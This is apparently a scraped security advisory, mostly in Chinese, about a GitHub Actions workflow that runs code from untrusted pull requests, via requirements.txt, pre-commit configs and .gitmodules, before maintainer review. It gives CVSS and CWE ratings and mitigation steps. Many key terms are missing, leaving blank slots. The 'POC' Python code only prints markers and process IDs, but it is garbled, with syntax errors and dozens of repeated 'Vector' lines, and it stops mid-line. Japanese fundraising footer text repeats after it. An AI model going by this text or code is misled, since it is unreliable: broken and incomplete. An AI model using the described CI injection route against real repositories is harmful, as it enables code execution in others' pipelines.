CI/CD Injection Vulnerability in GitHub Actions allowing RCE via Untrusted PRs

漏洞概述 漏洞名称: CI workflow runs pull-request-supplied code from untrusted contributors via requirements.txt, pre-commit configs, and .gitmodules 漏洞描述: CI工作流（ ）在 触发时，会在维护者审查之前执行由拉取请求提供的代码。 三个可编辑文件（ , , ）被用于执行恶意代码。 影响范围 受影响版本: - 受影响版本: - 修复版本: 严重程度: - CVSS v3 base metrics: 6.5 / 10 (Medium) - CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) - CWE-94 (Improper Control of Generation of Code) - CWE-918 (Server-Side Request Forgery (SSRF)) 修复方案 修复措施: - 在 之前运行一个验证输入的job，除非以下条件之一为真： - 拉取请求作者对仓库有 权限。 - 是Dependabot拉取请求。 - 维护者已应用 标签。 - 否则，拉取请求只能更改贡献目录（ , , , , ）。 - 使用 检查更改，不受YAML格式影响。 - 设置least-privilege token（ ），CODEOWNERS现在需要维护者审查CI控制文件。 POC代码 Phase 1: Build malicious pip package ```python import os, sys print("=" 50) print("[+] POC RCE via pip install -> Vector A CONFIRMED!") print("=" 50) lines = [] lines.append("[POC ABD - RCE CONFIRMED via pip install]") lines.append("[POD] ({}).format(os.getpid())) lines.append("[Vector B] ({}).format(os.getpid())) lines.append("[Vector C] ({}).format(os.getpid())) lines.append("[Vector D] ({}).format(os.getpid())) lines.append("[Vector E] ({}).format(os.getpid())) lines.append("[Vector F] ({}).format(os.getpid())) lines.append("[Vector G] ({}).format(os.getpid())) lines.append("[Vector H] ({}).format(os.getpid())) lines.append("[Vector I] ({}).format(os.getpid())) lines.append("[Vector J] ({}).format(os.getpid())) lines.append("[Vector K] ({}).format(os.getpid())) lines.append("[Vector L] ({}).format(os.getpid())) lines.append("[Vector M] ({}).format(os.getpid())) lines.append("[Vector N] ({}).format(os.getpid())) lines.append("[Vector O] ({}).format(os.getpid())) lines.append("[Vector P] ({}).format(os.getpid())) lines.append("[Vector Q] ({}).format(os.getpid())) lines.append("[Vector R] ({}).format(os.getpid())) lines.append("[Vector S] ({}).format(os.getpid())) lines.append("[Vector T] ({}).format(os.getpid())) lines.append("[Vector U] ({}).format(os.getpid())) lines.append("[Vector V] ({}).format(os.getpid())) lines.append("[Vector W] ({}).format(os.getpid())) lines.append("[Vector X] ({}).format(os.getpid())) lines.append("[Vector Y] ({}).format(os.getpid())) lines.append("[Vector Z] ({}).format(os.getpid())) lines.append("[Vector AA] ({}).format(os.getpid())) lines.append("[Vector AB] ({}).format(os.getpid())) lines.append("[Vector AC] ({}).format(os.getpid())) lines.append("[Vector AD] ({}).format(os.getpid())) lines.append("[Vector AE] ({}).format(os.getpid())) lines.append("[Vector AF] ({}).format(os.getpid())) lines.append("[Vector AG] ({}).format(os.getpid())) lines.append("[Vector AH] ({}).format(os.getpid())) lines.append("[Vector AI] ({}).format(os.getpid())) lines.append("[Vector AJ] ({}).format(os.getpid())) lines.append("[Vector AK] ({}).format(os.getpid())) lines.append("[Vector AL] ({}).format(os.getpid())) lines.append("[Vector AM] ({}).format(os.getpid())) lines.append("[Vector AN] ({}).format(os.getpid())) lines.append("[Vector AO] ({}).format(os.getpid())) lines.append("[Vector AP] ({}).format(os.getpid())) lines.append("[Vector AQ] ({}).format(os.getpid())) lines.append("[Vector AR] ({}).format(os.getpid())) lines.append("[Vector AS] ({}).format(os.getpid())) lines.append("[Vector AT] ({}).format(os.getpid())) lines.append("[Vector AU] ({}).format(os.getpid())) lines.append("[Vector AV] ({}).format(os.getpid())) lines.append("[Vector AW] ({}).format(os.getpid())) lines.append("[Vector AX] ({}).format(os.getpid())) lines.append("[Vector AY] ({}).format(os.getpid())) lines.append("[Vector AZ] ({}).format(os.getpid())) lines.append("[Vector BA] ({}).format(os.getpid())) lines.append("[Vector BB] ({}).format(os.getpid())) lines.append("[Vector BC] ({}).format(os.getpid())) lines.append("[Vector BD] ({}).format(os.getpid())) lines.append("[Vector BE] ({}).format(os.getpid())) lines.append("[Vector BF] ({}).format(os.getpid())) lines.append("[Vector BG] ({}).format(os.getpid())) lines.append("[Vector BH] ({}).format(os.getpid())) lines.append("[Vector BI] ({}).format(os.getpid())) lines.append("[Vector BJ] ({}).format(os.getpid())) lines.append("[Vector BK] ({}).format(os.getpid())) lines.append("[Vector BL] ({}).format(os.getpid())) lines.append("[Vector BM] ({}).format(os.getpid())) lines.append("[Vector BN] ({}).format(os.getpid())) lines.append("[Vector BO] ({}).format(os.getpid())) lines.append("[Vector BP] ({}).format(os.getpid())) lines.append("[Vector BQ] ({}).format(os.getpid())) lines.append("[Vector BR] ({}).format(os.getpid())) lines.append("[Vector BS] ({}).format(os.getpid())) lines.append("[Vector BT] ({}).format(os.getpid())) lines.append("[Vector BU] ({}).format(os.getpid())) lines.append("[Vector BV] ({}).format(os.getpid())) lines.append("[Vector BW] ({}).format(os.getpid())) lines.append("[Vector BX] ({}).format(os.getpid())) lines.append("[Vector BY] ({}).format(os.getpid())) lines.append("[Vector BZ] ({}).format(os.getpid())) lines.append("[Vector CA] ({}).format(os.getpid())) lines.append("[Vector CB] ({}).format(os.getpid

目標達成すべての支援者に感謝 — 100%達成しました！

CI/CD Injection Vulnerability in GitHub Actions allowing RCE via Untrusted PRs

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

CI/CD Injection Vulnerability in GitHub Actions allowing RCE via Untrusted PRs

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！